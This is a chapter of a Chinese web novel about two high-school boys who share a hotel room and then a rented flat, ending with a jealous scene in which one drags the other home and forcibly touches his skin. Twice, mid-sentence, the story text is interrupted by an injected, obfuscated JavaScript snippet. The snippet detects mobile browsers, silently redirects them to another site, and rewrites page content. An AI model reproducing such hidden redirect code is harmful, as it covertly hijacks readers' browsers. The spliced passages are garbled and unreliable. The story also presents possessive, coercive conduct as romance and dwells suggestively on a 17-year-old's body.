江措刚想问什么是标间?沈泱站在江措旁边,要求道:“开大床房。”他都睡了一个月的小床了,沈泱喜欢睡大床。 江措:“大床房。” 房间在三楼,需要步行上楼。 江措用钥匙打开宾馆刷了红漆的厚实木门,说是大床房,房间面积不算特别大,大概十五六平的样子,有一扇巨大的窗户,正对穿城而过的大塘河,房间中央是一张两米长宽的白色大床。 沈泱拿睡衣去浴室洗澡洗头,学校里洗澡洗头很麻烦,只能接了热水在狭小的浴室里冲洗,比江措家还要麻烦,因为热水并不是从水龙头里流出来的,而是学校的锅房每天会烧两炉热水,抢完就没有。 每次一放学,便有女生快步冲向宿舍,拿了热水壶去接水,江措给沈泱准备的洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979676|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澡水,也是下课后去锅房里和女生抢来的,男生大多不讲究,没几个人抢热水洗澡。 洗漱完,沈泱穿着睡衣从浴室里走出来,掀开被子,躺进床上,舒服地叹了一口气。 县城随时都有网络,沈泱拿过手机,回了几条穆宁然的消息,又随便翻了翻网页,他觉得犯困了,手机放下。 沈泱刚打算躺下,江措带着一身水汽,穿着不合身的睡觉衣服从洗手间里走了出来。 自然地睡在床中央的沈泱眼睛倏然睁大,坐了起来,“江措,你不回宿舍住吗?” 江措走到床靠近洗手间的那侧,掀起眼皮,看了沈泱一眼,“我今天说的是我们今晚住宾馆。” 他没有加重我们两个字的读音,但聪明的沈泱捕捉到了他的言外之意。 江措抖了抖被子,单膝微屈,单腿跪上床,大腿的肌肉收紧,柔软局促的睡裤勾勒出一个微隆起的肌肉弧度。 沈泱往靠窗户的那一侧挪了挪,从头到脚打量江措,“你洗干净了吗?” “你可以检查,公主。”江措另外一条腿也上了床,他现在是两只小腿都爬上了床,像是跪在了原来应该独属于沈泱一人的大床上。 沈泱才懒得检查。 江措的个人卫生他一直很放心,他见过其他采松茸的藏民,手指甲里全是黑泥,江措每次回家,十根手指头永远干干净净,没藏一点黑泥。 沈泱闭上了眼睛,给自己盖好了棉被。 紧接着,他感受到旁边的床垫有人躺了下来。 沈泱以为自己很久才会睡着,虽然这里没有一百九十九头牛在自己身边嚎叫,可床上还有一个人,酒店的环境也是很陌生的环境,不知道是因为太困,三天没睡好的原因,还是其他的原因,躺下不到一分钟,沈泱就睡着了。 暖色调的灯光洒在他紧闭的眉眼,沈泱的长相没有任何攻击性,睡着的时候,简直可以用天使来形容。 沈泱很快睡着,但房间里的灯没有很快被关闭。 夜深人静,就连城市中心广场鼎沸人声都开始散去的时候,雪白的墙壁上投射出一只修长胳膊的影子,青筋盘绕的粗糙大手摸到床头灯光的控制器,满是薄茧的指腹用力往下一按。 明亮太久的房间终于陷入一片漆黑中。 沈泱醒了过来,眼睛睁开,先看到窗外雾蓝色的天空,时间应该还早,沈泱翻了个身,然后就愣住了…… 昨晚临睡前,他记得他和江措顿珠中间明明隔了三四十厘米,现在两个人竟然是靠在一起的,难怪他昨天晚上觉得后背热! 江措顿珠是揣了个小火炉吗? 但沈泱没有生气,或许是因为昨天晚上睡了很舒服的一觉,甚至可以说是这一年来最舒服的一觉,他睁大眼睛,借着从窗户透进来,熹微的晨光打量江措顿珠。 江措顿珠轮廓深邃刚毅,哪怕是闭着狭长的眼睛,也有一种不好招惹的冷漠气场存在。 沈泱盯着他,眼睛倏然慢慢地瞪大了。 13.第 13 章 江措顿珠睁开了眼睛,一张近在咫尺的小脸映入眼帘,没有彻底清醒的他眼睛里闪过一丝茫然。 沈泱一直有点赖床,早晨醒过来的时候,从来不愿意立刻离开被窝。 他侧着身体躺着,柔软的棉被被他拉到脖下,沈泱对醒过来的江措讲话,语气有点惊讶和惊喜,“江措,你知道吗?你的眼皮上有一颗小黑痣,而且是左右两个眼皮都有,大小和位置都几乎是对称的!” “你知道吗?江措?” “不知道。”江措嗓音沙哑地道。 “不知道啊?”沈泱坐了起来,睡了一晚的柔软白T从他一侧肩膀滑落,一片霜雪似的肩膀露出来,映在江措狭长而不见底的瞳仁里。 沈泱随意地往上拽了拽。 接着,他伸长胳膊拿起床头柜上的手机,转过头说,“江措,你把眼睛闭上。” 江措看了他一眼,老老实实地把眼睛闭上了。 沈泱打开相机,对准江措的脸。 咔嚓一声,一张照片出现在沈泱的手机相册里。 沈泱让江措睁开眼睛,把手机拿给他看,“你看到了吗?你的左眼皮和右眼皮,都在眼睑上方一点的位置有一颗小小的痣。” 小痣的颜色不深,只比江措顿珠的皮肤深一些,是褐色的小痣,神奇的是两颗小褐痣的大小轮廓颜色竟然完全对称,像是这半张脸折叠后,拓印到另外半张脸上的。 江措盯着沈泱手机上的照片看了片刻,把手机还给沈泱,翻身下床去洗漱,神色淡然无波。 似乎这不是他长了十七年,头一次有人发现他眼皮上竟然还有两颗这样对称的小褐痣,也不是长了十七年,头一次有人镜头瞄准他,只为了给他拍一张照片,也不是头一次,有人因为发现他脸上某个小特征,变得惊喜和惊讶。 沈泱起床时,拖拖拉拉的,抵达学校时早自习已经开始了十几分钟,沈泱干脆也不着急了,慢条斯理地在一中门口的小摊贩前挑选了半天,最后买了一个糯米饭团回教室。 江措先把两人的东西放进他的宿舍,又去教室里上了早自习,接着请假出门找房子。 中午午休的时候,江措顿珠出现在了高三四班的门口,昨夜睡得好,沈泱今天一点不困,没睡午觉,精神抖擞地翻看曲安林借给自己的漫画书。 “沈泱。”江措出现在了自己的课桌前。 沈泱赶紧放下书,和江措去了教室外面的走廊上。 江措说:“房子已经租好了,就在学校后面直走五百米的小区,上学步行大概十分钟,我上午已经签合同了,也把房子收拾好了,晚上放学我们就收拾东西搬过去。” 晚自习结束后,沈泱和江措收拾好东西,来到江措租的房子里。 县城的房子基本都没电梯,六层楼的房子,江措租的房子在四楼。 用钥匙打开门,江措按亮灯控器,白色的地砖带着淡淡的黄色条纹出现在沈泱的眼底,墙壁不能说雪白,但看起来并不脏。 客厅里有电视冰箱和沙发,沈泱往里走,看见厨房和洗手间。 打开猪肝红的房门,这应该是这间套房子的主卧,大概有十三四平,靠墙的地方是三拉门的定制衣柜,和衣柜平行的是一张两米宽的大床,旁边有一个梳妆台,原来这里应该有住女生。 房间的窗户没临街,对着小区,尽管也没什么小区环境,三四栋楼中间就几个小花坛。 沈泱去推另外一间房门,“江措,这个门是不是坏了?我打不开。” 江措正在把蛇皮袋里的东西拿出来,棉被先放在沙发上,瞥了一眼沈泱说,“那扇门没法打开,房东锁了,里面放着他们的东西。” 沈泱:“?” 沈泱严肃道:“那这个房子是不是只有一个卧室?” 江措又掀了一下眼皮,慢吞吞地说,“回宁村我家也只有一个卧室。” 沈泱不太满意,“可是那个屋子里有两张床!” “你要再买一张单人床吗?”沈泱盯着卧室里的空间,再挤挤,不是不能放下一张狭小的单人床。 江措抱着几床被子走进卧室,“我要睡这个床,你想睡单人床?我可以给你买一张。” “谁要睡单人床了?”沈泱不服气地说,“我是让你睡。” 江措没吭声,也没抬眼,只是像勤劳肯干的老黄牛一样,帮沈泱铺好被子。 这套房子是一对小夫妻的婚房,结了婚住了小三年,夫妻去外地打工了,小孩给父母照顾,老人决定把房子租出去,一年也会有一点收入。 床很大,沈泱被子是一米五的,铺不满床,江措粗大的手掌握着柔软的棉被,用他们俩各自的被褥在床上铺了两个被窝。 “好丑啊。”沈泱噘着嘴,站在门口嫌弃,“哪里有床上铺两个被窝的。” 江措铺好床,低着头,一声不吭地把蛇皮袋里其他的东西归纳到其他的地方。 沈泱拿了睡衣和洗漱用品去洗手间,淅淅沥沥的水声传了过来,洗完澡,江措还在客厅里忙碌,沈泱回到房间,盯着一个藏蓝色的被窝,再偏头,盯着旁边鹅黄色床单和土黄色被罩,应该是滞销后被江措买回家丑东西,无可奈何地叹了口气,掀开了自己的被窝。 江措把东西归纳齐整,冰箱好久没用了,他擦洗了一遍,通上电,拿了衣服去卫生间冲洗,回房间的时候,就见说床好丑神色很嫌弃的沈泱竟然睡着了。 躺在他的被褥里,脸蛋却朝着江措被窝的方向。 江措脚下的步子放轻,来到床边,神色看似波澜不惊地盯着沈泱看了半天,关了灯,掀开被子,摸索着躺下了。 “沈泱,沈泱,沈泱,起床了。”沈泱的手机闹钟响第四遍时,江措又一次站在床边帮他关掉,蹙着眉,叫他起床。 沈泱又一次把头缩进被窝里,含糊道:“我再躺一会儿。” 又过了五分钟,见沈泱还是没有要起床的打算,江措索性直接掀开他的被子。 “江措,你干什么?”沈泱睁开朦胧的眼睛,半眯着眼睛在床上摸索自己的被子,又搓了搓有些冷的身体,起身冲江措大叫。 江措把他的被子抱在怀里,冷静地提醒道:“六点五十五了,再不起床要迟到了。” 沈泱难受地啊了一声。 他趴在床上,屁股高高地撅起来,头埋在柔软的枕头里烦躁地蹭了蹭。 江措看着沈泱灰色睡裤的裤腰因为他的姿势往下滑,一点雪白饱满的皮肤悄悄地露出来,如果江措再往前走一步往下看,说不准还可以看见那条若隐若现的沟壑。 江措没有动。 因为沈泱拖拖拉拉不愿起床,两个人抵达学校的时候早自习已经开始了几分钟,沈泱不开心的踹了江措一脚,很生气地责怪他为什么不早点叫醒他。 沈泱说完话,又赶紧咬了一大口糯米饭团,鼓鼓的腮帮子用力且生气的咀嚼,埋怨的目光投在江措身上。 仿佛两个人迟到,真的是因为江措的错误。江措低下头,或许因为他是个老实沉默好脾气的男人,并没有和无理取闹的沈泱计较。 用手掸了掸裤腿上细微的一点灰,江措接过沈泱吃不下的糯米饭团,两大口咀嚼完,将沈泱送到他的教室门口后,不紧不慢地回到他的教室。 中午的午休时间加上午餐时间,有两个半小时,趁着中午午休,江措去棉花店添置了一床新的棉被,一床两米宽二点二米长的大厚棉被。 回到两人租住的房子后,江措重新铺床,把这床被子垫在床垫上,床中间终于没有了因为两床被子拼接一起,导致的凹凸不平,限制某人翻身的人为界河。 床单薄,不需要更换,江措那边铺江措的床单,沈泱那边铺沈泱的床单。 再把沈泱的被子放进衣柜里,等天气再冷一点,可以拿出来给他盖。 下午江措和沈泱在食堂吃完晚饭,江措又离开了学校。 七月份挖松茸虽然有一些危险,但收入不低,抛出沈泱七月的开销,江措开学时,带着一万一来到了学校。 江措的学费和学杂费全免,沈泱的学费和学杂费缴了一千四,这次租房子一口气给了半年的房租,花了四千多。 总而言之,江措手里只剩下五千多块钱了。 如果这五千块钱只给江措一个人开销,明年这个时候他应该都没办法用完,但沈泱是个小公主,是个小少爷,如果没有大额开支,五千块钱也就够他用三四个月。 江措计划找一份兼职。 江措在县城读书的这两年,去网吧里当过几个月网管,还在快餐店里兼职过一个寒假,挑东西的苦力和建筑小工也都干过。 江措走了一条街,看到一个网吧在招网吧,江措推开玻璃门,走了进去。 网吧的晚上是最热闹的时间段,鼎沸的人声游戏音效声混着泡面零食汗味和香水味席卷江措的五感。 网管习惯性地朝江措伸出手,上机要身份证。 江措没动,问:“要招网管吗?” 网管小哥抬头,打量了他一番,说道:“是要招,你等一下,我去叫老板过来。” 他上了二楼,过了一会儿,一个年龄约莫三十岁的男人走了下来,对方身材干瘦,穿着一件版型宽大的西装,从二楼下来的时候盯见杵在柜台的江措,先皱了一下眉。 男人点了一根烟,用短短的食指和中指夹着烟,仰头盯着身前的江措,烟雾直接喷到江措的脖子上,男人的脸色有一点扭曲,“以前干过网管吗?” “干过。”江措说,“春风街的泡椒凤爪网吧,我在里面做过几个月网管。” “泡椒凤爪?去年它关门了吧?”男人扭头问旁边的网管小哥。 网管小哥点头:“是倒闭了,现在是个ktv。” 男人又吐出一口烟圈,语气嫌弃道:“你不太吉利啊。” “多大了?” “过了年就十八。” 男人的眉头又皱了起来。 江措说:“我会修一些电脑,如果不是很复杂的问题。” 男人仰着头,盯着过高的江措来了点兴趣,“学过电脑维修?” “做网管的时候网吧里电脑偶尔会出一点问题,研究过。” 男人噗嗤一声笑了,“小进,你做了两年网管了,会修电脑吗?” 小进摇头:“哥,那电脑那么贵重的东西我一个管开机的怎么会?” 男人嗤笑一声,又吸了一口烟,朝着江措吐去,“行了,你走吧。” 灰色的烟雾萦绕在江措经络盘旋的脖颈上,江措垂着眼睛看了一米七不到的男人一眼,转身离开了网吧。 男人讽刺的议论声传入江措的耳膜里,“做过网管就会维修电脑?难不成是个男的就有一个漂亮老婆了?” 江措离开了网吧,他又去了两家店,一家是招聘服务员的中餐厅,餐厅主要是做宴席承包,江措不但不能全职,只能晚上六点后来上班,时间不合适,拒绝了。 另外一家是奶茶店,奶茶店是轮班制,可以接受晚上上班,不过江措太高,压迫性太强了,店里的其他人都是女生,虽然希望这次可以招一个男生,但江措长相不善,眉眼冷厉,高大的身躯更是显得他异常危险,老板思索了一下,还是拒绝了他。 第一天晚上没找到工作,江措第二天晚上又去找了一晚上,终于找到了一份工作。 是在一家羊肉火锅店里做服务员。 那家羊肉火锅店生意最繁忙的时间段是晚上六点到十点,江措的上班时间恰好可以覆盖店里最忙碌的时间。 老板是个泼辣的中年女人,听说江措还是一中的学生,因为父母双亡,还有一个弟弟要养,原来打算一个小时给他七块钱的兼职费,后来心一横,长了两块钱。 江措晚上六点到十点半上班,半天可以赚四十块钱。 江措回到学校,上了最后一节晚自习,晚自习结束后,江措在沈泱的教室门口等到沈泱,告诉他,以后晚上他要去兼职,下午放学后的晚饭要自己去吃,因为兼职的下班时间是十点半,他也要一个人回家了。 “那你以后都不上晚自习了?老师能够同意?” 今夜的风有点大,江措走在风吹过来的那一侧,夜风就只能落一点在沈泱的身上了。 江措:“一般是不会同意的。” 沈泱正想张嘴,江措又补充说:“不过我成绩好。” 开学快一周了,沈泱也认识了一些新同学,关系最好的是他的同桌曲安林,告诉了他江措很多的事情,比如江措成绩很好,从高一到高二,基本都是年级第一,学校也非常重视他,据说他每年的学费和学杂费全部都是免除了的。 去年他还去蓉城参加过数学竞赛,虽然没有获得很好的名次,但也超级厉害了,他们这个小地方没有竞赛培训班,更没有这方面的老师,完全靠江措天赋异禀。 而且前几天刚开学,首当其冲的就是两天摸底考,全程按照高考的时间安排。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983886|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >截至今天,差不多所有的考试成绩都出来了,江措顿珠的排名年级第一。 沈泱真的好震惊,虽然他不怎么学习,但他也没看见江措顿珠学习啊,他为什么能考这么多分? 江措顿珠:“把题都做对。” 废话!沈泱气的又踹了他两脚,他难道不知道把题做对可以得分,问题的关键不应该是怎么把题做对吗? 算了,他也不需要那么高的分数。 沈泱贴近江措一点,冷白色的路灯投射在两人交叠的身形上,坑坑洼洼的马路上,两人的影子融合在了一起。 沈泱像是密谋什么重大的事情一样贴近了他,超级小声的询问,“江措,你说我也可以不上晚自习吗?” “不可以。”江措不假思索地说。 “可是你都可以!” “我能考年级第一。” 沈泱不开心地用力地哼了一声,加快脚步,三两下就走到了江措前面去了,江措没着急跟上去,不紧不慢地走在沈泱身后,看着他气冲冲的背影。 暑假结束后的摸底考试成绩今天全出来了,小少爷成绩在一中中等偏下,全校三百多名理科生,小少爷在一百七十名,这个结果比他预想得好一点。 他看出来了,沈泱不喜欢学习,他也不会强迫他学习,反正他只要在他身边就好了。 但是,应该遵守的规则他必须要求沈泱遵守,不容丝毫违逆。就像学生应该每天去上课,签下的最重视江措的契约也应该好好地履行,毕竟,江措也有在努力地承担他应该承担的义务,把留在自己的身边的沈泱养的很好。 九月一号,江措拿到了在羊肉火锅店兼职的工资。 因为表现得很好,有一次火锅店里的两拨顾客差点因为几句口角大打出手,是长相凶悍出手凌厉的江措及时制止了,避免了店里遭受更大的损失,而且江措记性非常好,哪怕是同时服务多桌顾客,江措从来不会记住每一桌顾客的菜单,这在客如云来的火锅店,是非常难得的。 除了江措本来的工资之外,老板还给他了一笔丰厚的奖金,天要降温了,让江措去买几件厚衣服。 今天晚上的生意好,不到十点羊肉全部卖完了,江措难得提前下了班。 江措摘下摘下满是羊肉火锅味和各种烟酒水味道的围裙,摸出裤兜里三块钱买的塑料电子手表看了眼时间。 他能赶得上去校门口接沈泱放学。 九点五十,一中的铃声响了。 亮着灯,刚才还十分静谧的教学楼瞬间活了起来,轰隆隆的各种声音传出来,住校的学生收拾东西回宿舍,走读的学生们三三俩俩结伴离开学校。 沈泱关系最好的曲安林是走读生,中午的午休时间长,他要回家吃饭,一中的晚餐时间只有不到一个小时,曲安林的妈妈给他钱,让他在学校或者学校附近买饭吃。 江措每天下午的课一上完就赶着去火锅店里打工,晚上沈泱正好和曲安林作伴。 走出教学楼,尤其是校门口,一阵冷冽的寒风吹了过来,曲安林今天衣服穿得有点少,打了个哆嗦,胳膊环抱住沈泱取暖,“嘶,今天晚上怎么这么冷?” 沈泱也觉得有点冷,前几天江措给他买了毛衣,让他加在外套里,沈泱觉得不冷,就没有穿,他颇为赞同地点了点头。 身体也朝曲安林靠过去。 两人以一个很亲密的姿势靠在一起。 就在这时,似乎感受到了什么,沈泱抬起头朝不远处一看,神色有点惊喜地叫了一句,“江措。” 曲安林哆嗦着朝沈泱看过去的方向看去,一道冷冰冰的视线不加掩饰地盯着自己,曲安林忽然觉得周身的气温更冷了几分。 他咽了咽不存在的口水。 沈泱等江措朝他走近,才发现江措脸色不太对劲儿,黑沉沉,像是积攒了几个小时的厚重乌云,狂风暴雨随时会倾盆而下。 曲安林的胳膊还抱着沈泱,沈泱也没有做出任何要阻止的动作,江措脑子里有一根名为理智的绳索,啪嗒一声,轻轻地、又无法忽视地断裂了。 他猛地一把将沈泱从曲安林的怀抱里拽出来,眼神冷戾地扫过和沈泱关系很好的曲安林,曲安林本来还想说江措同学,你好,一时间什么都说不出来了,只是感觉浑身都像冰锥子冻住了一样。 江措拽着沈泱的胳膊大步流星地往两人租的房子走去,江措一米九三的个头,腿很长,此时走路的速度又快,沈泱被他毫不收敛力气地拽着胳膊,要小跑着才能追上他。 “江措,你放开我。” “江措,你走慢一点!” “江措,江措!” 沈泱在回家的路上,喘着粗气,不停地冲着江措讲话,要求他停下来,慢一点,江措始终充耳不闻,速度飞快地带着沈泱往家的方向赶去。 咔哒一声,钥匙被男人青筋环绕的大手粗暴地戳进锁洞里,施加已经克制过了,仍旧非常暴躁的力量扭开。 江措把沈泱推进客厅的同时,终于松开了一直钳制住沈泱的胳膊。 灯光打开,沈泱甩了甩虽然隔着两层衣服,但仍旧被江措捏得生疼的小臂,非常生气地说:“江措,你在干什么呀!你把我的胳膊捏得好疼,肯定都青了!” 沈泱伸出手,想挽起袖口,让江措看看他今晚的恶行。 袖口还没有挽起来,江措低沉的声音在客厅里响了起来,带着一股不容忽视的寒意,“沈泱,你竟然让别的男人随便抱你!” 沈泱愣了一愣,后知后觉地明白过来了江措在什么气,他觉得江措有一点不可理喻,“曲安林只是觉得冷,所以才抱着我的。” “他觉得冷就可以抱你了吗?那我觉得冷是不是就可以把手放到你的肚子上取暖!”江措的语气并不平静,狭长的浅褐色瞳孔里有一种遏制不住的暴虐在涌动,此时此刻,他像是一个领地被侵占而开始发疯的野兽一般。 话说完,江措猝不及防地掀起沈泱的灰色卫衣和黑色长T,不管不顾地把自己的手掌贴在了沈泱赤裸的小腹皮肤上。 江措的手掌不算很冷,可人类腹部的体温要比手掌高很多,他的手掌刚放上来,腹部传来一股无法忽视的寒意。 沈泱冷的一瑟缩,下意识往后退半步。 江措另外一只大手按住他的后腰,阻止了他往后退缩的动作,右手更重的贴着沈泱柔软细嫩的皮肤,厉声道:“你躲什么?我手冷啊,怎么,别人身体冷就可以抱着你,我手冷就不可以碰你了吗?”